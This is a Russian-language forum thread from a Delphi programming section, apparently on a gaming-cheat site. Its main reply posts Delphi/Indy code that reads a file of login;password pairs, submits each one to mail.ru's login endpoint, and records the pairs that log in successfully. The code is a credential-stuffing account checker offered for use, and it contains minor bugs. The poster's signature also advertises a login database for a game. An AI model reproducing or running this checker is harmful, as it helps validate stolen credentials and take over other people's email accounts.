|
Нужна помощь. - Вопросы и ответы, обсуждения - Ваши вопросы по Pascal/Delphi только в данном разделе |
29.02.2012, 00:43
|
#1
|
|
|
|
Разведчик
|
Регистрация: 05.02.2012
Сообщений: 2
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Нужна помощь.
delete/
Последний раз редактировалось ncdos; 07.04.2013 в 18:25.
|
|
|
29.02.2012, 10:34
|
#2
|
|
|
|
Разведчик
|
Регистрация: 26.08.2011
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: Нужна помощь.
отделить пароль и логин можно функциями copy и Pos
тема: http://zhyk.ru/forum/showthread.php?t=354101
Последний раз редактировалось Slavaberezin; 01.03.2012 в 15:50.
|
|
|
29.02.2012, 17:53
|
#3
|
|
|
|
Пехотинец
|
Регистрация: 02.04.2011
Сообщений: 66
Популярность: 9953
Сказал(а) спасибо: 898
Поблагодарили 412 раз(а) в 209 сообщениях
|
Re: Нужна помощь.
|
|
|
29.02.2012, 19:29
|
#4
|
|
|
|
Лейтенант-командор
|
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
|
Re: Нужна помощь.
Код:
var
PostData,acc:TStringList;
s,l,p,d:String
HTTP:TIdHTTP;
Cookie:TIdCookieManager;
i:integer;
begin
acc:=TStringList.Create;
acc.LoadFromFile('accounts.txt');
HTTP:=TIdHTTP.Create(nil);
HTTP.AllowCookies:=True;
HTTP.HandleRedirects:=True;
HTTP.Request.ContentType:='application/x-www-form-urlencoded';
HTTP.Request.UserAgent:='Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1';
PostData:=TStringList.Create;
for i:=0 to acc.Count-1 do
begin
Cookie:=TIdCookieManager.Create(HTTP);
HTTP.CookieManager:=Cookie;
l:=Copy(acc.Strings[i],0,Pos(';',accounts.Strings[i])-1);
PostData.Add('Login='+l);
d:=Copy(l,Pos('@',l),Length(l)-Pos('@',l)+1);
PostData.Add('Domain='+d);
p:=Copy(acc.Strings[i],Pos(';',acc.Strings[i])+1,Length(acc.Strings[i])-Pos(';',acc.Strings[i]));
PostData.Add('Password='+p);
PostData.Add('Submit=Войти в почту');
try
s:=HTTP.Post('http://win.mail.ru/cgi-bin/auth',PostData);
except
end;
if Pos('logout',s)<>0 then
begin
acc.Add(l+';'+p);
end;
Cookie.Free;
PostData.Clear;
end;
PostData.Free;
HTTP.Free;
acc.SaveToFile('accounts.txt');
acc.Free;
ShowMessage('Всё окончено');
end;
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 20:25.
|
|